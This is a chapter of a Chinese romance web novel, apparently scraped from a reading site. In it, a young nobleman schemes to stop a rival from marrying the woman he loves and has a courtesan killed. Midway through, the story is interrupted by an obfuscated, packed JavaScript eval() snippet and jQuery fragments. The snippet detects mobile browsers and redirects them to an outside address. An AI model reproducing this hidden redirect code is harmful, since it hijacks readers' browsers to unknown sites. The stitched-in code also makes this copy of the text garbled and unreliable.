34. 又争又抢

作品:《钓嫁高门

    砰!


    女子被用力地一甩,整个人直接飞了出去,脑袋撞到桌角,鲜血流了一大片,可她什么也顾不上了,只一个劲地捧着自己的手,再不断地哀嚎。


    “啊啊啊!我的手,我的手,我的手断了。”


    都察院左都御史自己官位特殊平时最忌讳触碰这些,俞恒偶尔来这个地方看舞听小曲他都觉得不妥。


    更何况他的母亲就是因为自己父亲曾经寻花问柳而导致同样感染了花柳病,早早离世,自身也非常讨厌烟花女子,尤其是这种吵闹的。


    他蹙眉,看了眼门口跟过来的人。


    来人秒懂,立马就将人带了下去,一开始还能听到声音的外面,随着房门被关上,落针可闻。


    “啪!”


    “孽障!”


    俞父重重的一巴掌打在俞恒的脸上,瞬间的事情,俞恒脸上就多了一个极深的掌印。


    才醒来,俞恒本就发昏的脑袋因为这毫不留情的一巴掌变得更加懵逼,他下意识的跪倒在了地上。


    看到俞恒这幅清醒不清醒的样子,俞父那里还不知道自家这傻儿子是被算计了,一时间脸色更加黑了。


    他环视四周,最后视线落在一根长满了刺的长辫之上。


    “哎哎,老俞使不得使不得啊!”


    这一鞭子下去,皮开肉绽都是轻的,身边人哪里看得了这个,一把久就拦住了人。


    “老裴你别拦我,你别拦我,我今天今天非得打死他不可!”


    老……老裴。


    俞恒晕乎乎的脑子终于清醒了些,可他一抬头看清面前拦着自己父亲那人的相貌之后,整个人就像是被人泼了一桶冰水,透心凉,彻底清醒。


    “裴……裴伯父?”


    那个人是永宁侯……俞恒的声音都开始变得恍惚起来,他脑海中忽然快速划过两个身影。


    一个是熙兰,永宁侯的外甥女,自己想要求娶之人。


    一个是裴时亦,那个自己的好兄弟兼情敌……


    “哎,是我,俞恒啊,你快和你爹解释解释啊认个错,这事儿就过去了。”


    道歉?认错?


    有用吗?


    他父亲是都察院的人,职位特殊,今天这样的事情,不可谓是丑闻一桩。


    他甚至都不用猜,现在这整个人院子肯定都已经被他父亲找人给围了起来。


    而他父亲这么做意味着什么,哪怕很多人看不明白,但猜测也能够猜出一二,再加上有永宁候亲自在场,熙兰……他娶不了了。


    “裴时亦……”


    俞恒低着头,忽然笑,又像是在哭,一时间两个拉扯的男人都停了下来。


    永宁侯抓了抓下巴莫名,“这孩子怎么了?”


    俞父拧眉也觉得奇怪,但从俞恒表情来看,这一次的舆论应该不是他的政敌谋划,主要目的应该是他,自己的儿子。


    而因为什么……


    电光火石之间,俞父想到了俞恒昨天回来时候提到的那门亲事,眼眸微眯。


    所有事情链接起来之后,俞父的表情不算好看。


    “还不快回去。”


    房门打开,外面裴时亦那张始终浅笑温和有礼的脸映入了三人眼中。


    俞父和俞恒的表情都不好看,只有永宁侯一个人神情疑惑,游离在事情之外。


    “亦儿?你怎么进来的?”


    这楼早在他们得到消息的时候就吩咐人围了起来,这会儿应该是进也进不来出也不出才对啊。


    裴时亦垂眸浅笑,“回父亲,我是听说俞叔在这里特来赔罪的。”


    赔罪?赔什么罪?


    永宁候更莫名了。


    而俞父和俞恒的脸色则是肉眼可见的更加难看了起来,有长辈在俞恒不能说什么,但俞父却忍不了了这个气,袖子一挥,朝永宁侯道。


    “侯爷倒是养了个好儿子,哼。”


    裴时亦这明摆着就是告诉这事情是自己做的,之后会补偿,好人坏人都做了,他们还能说什么,只能离开。


    俞恒最后看了眼裴时亦,一双手握的很紧。


    而裴时亦始终只是看着他,笑意淡淡的似乎是真的什么也不在意。


    那样的无辜。


    看着大步离开的父子俩永宁侯疑惑蹙眉,摸不着头脑,用手肘抵了抵自家儿子,“喂,你世叔这是什么意思?夸你吗?”


    裴时亦顿了下回身看向自家依旧没什么心眼的父亲,摇了摇头,没说什么。


    马车上,俞恒另一边脸上也同样多了个巴掌,好不对称。


    “废物!简直就是个废物!”


    学识学识不如人家,心计心计不如人家,现在可好了,连个喜欢的人也因为人家的略施手段就送了嫁衣。


    “你说你啊!有什么事情是能够比的上裴家那小子的!”


    这件事情的影响说大不大说小不小,不至于让他家风有失,也不至于让两家闹掰,但俞父心里就是气,他今天这一道是真的被一个小辈给摆了一道。


    俞父这样的话不是第一次说了,可没有哪一次能比这一次更让俞恒觉得刺耳。


    不如裴时亦,不如裴时亦。


    熙兰也这样觉得吗?


    裴时亦的性子,他们从小就相识,哪里不知道他的性格,虽然偶尔别扭执拗,但感情的事情……


    他玩不过熙兰的。


    若说是这件事情没有熙兰的默许,他不信裴时亦真的敢对自己动手。


    所以……是熙兰放弃他了吗?


    因为自己不如裴时亦?


    因为裴时亦比自己略胜一筹的学识,略高一筹的家世,或是略好的一些长相?


    他知道从小就很多人说他长的比大多女子都要妖冶,一看就不是个专情的人,他听的多了烦了,就真的去学着做了。


    他流连风月场所,爱歌爱舞说话挺挑。


    可他对感情是真的……


    俞恒想着想着,紧握着的拳头忽然松了,像是失去了所有的力气。


    俞父看着俞恒靠在马车角落那垂眸无神的样子,气不打一处来,猛的朝人来了一脚。


    砰。


    被踢了一脚实的,俞恒才回神过来,却依旧迷茫,“怎么了,父亲?”


    不知道是什么时候开始,俞恒的声音都难过地哑了许多。


    他就这样一个嫡亲的儿子,从小看着长大,哪里会不心疼。


    俞父眼神蓦地一软,但语气依旧凌厉。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208780|197222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“男子汉大丈夫垂头丧气的像什么样子,要是真喜欢,就去抢!就去争!”


    争?抢?


    俞恒看向俞父时候的眼神逐渐有了焦点。


    是啊,他可以争可以抢。


    就算现在不能求娶又怎样,只要自己把握住了熙兰的心,他就能够有机会。


    而有了机会,他就不会是注定的输家。


    他还有机会的。


    他还有机会。


    看到俞恒振作起来,俞父眼中划过一丝满意的笑意,还不算太笨。


    意识到自己在得意什么之后,俞父又没好气地瞪了俞恒一眼,“笑什么笑,瞧你没出息的样子。”


    “亦儿?”


    永宁候走在前面,一直没听到身后裴时亦跟过来的脚步声,不免地有些疑惑,一回头就发现裴时亦已在不知道何时消失不见。


    走了?


    永宁候蹙眉,心中疑惑,但想到自己儿子不是个没分寸的,也没多心,带着剩下的人也离开了。


    而此时青楼后院的一处柴房内,裴时亦旁边站着的是战战兢兢的老鸨,面前是被捆绑起来一个劲呜呜咽咽但被堵住了嘴的女子。


    “唔唔唔……”你不能杀我,你不能杀我,是你让我那么做的,是你让我那么做的,你不可以。


    仿佛没看见女子眼中的恐慌,裴时亦只是散了笑容,边上老鸨深呼吸了一口气,颤颤巍巍地伸手,手起刀落,女子应声倒地。


    看着死前还瞪着眼死不瞑目的女人,老鸨只担心自己的安危,直到看到她不动了,她才颤抖着手探了鼻息。


    “啊!”


    老鸨猛的缩回手,笑的比哭还要难看,“世子爷你看,她死了,她死了。”


    她死了就不要迁怒她了,也不要迁怒整个青楼了行不行,呜呜呜。


    在知道自己手下的女子在世子爷眼皮子底下多手之后,老鸨心里就一万个害怕,恨不得将人千刀万剐了才解气。


    裴时亦只是扫了眼那死不瞑目的的尸体,没有一点怕,反而是叹了口气摇头。


    “愿你下辈子投个好胎。”再不做这青楼女子。


    裴时亦也不想杀人,但不懂事的人,他非杀不可,这件事可大可小。


    他能够做,却不能真的损害了俞父的利益,这个女子太不守信,也太有野心,留不得。


    “解决了?”


    熙兰回身,蹙眉疑惑看着面前一脸淡笑身上还带着淡淡血腥味的裴时亦。


    他把俞恒杀了?


    察觉到熙兰心中猜想,裴时亦无奈摇头,手非常自然的搂过了熙兰的腰往自己跟前带了带,下巴蹭了蹭熙兰的脑袋,声音温柔又带着种种莫名偏执。


    “我与俞恒从小相识,我怎会杀他,放心,我只是制造了一些小小的意外,让他再不能娶你了而已。”


    熙兰疑惑,但也松了口气。


    她可不想因为自己造成一位贵公子的死亡,他的家里要是查到可能会与裴时亦翻篇,但自己……


    还是算了吧。


    感觉到熙兰放松下来的身体,裴时亦锢着她的手稍一用力,声音也变得幽远意味深长了起来。


    “懒懒听到他没事之后好像格外的……心安?”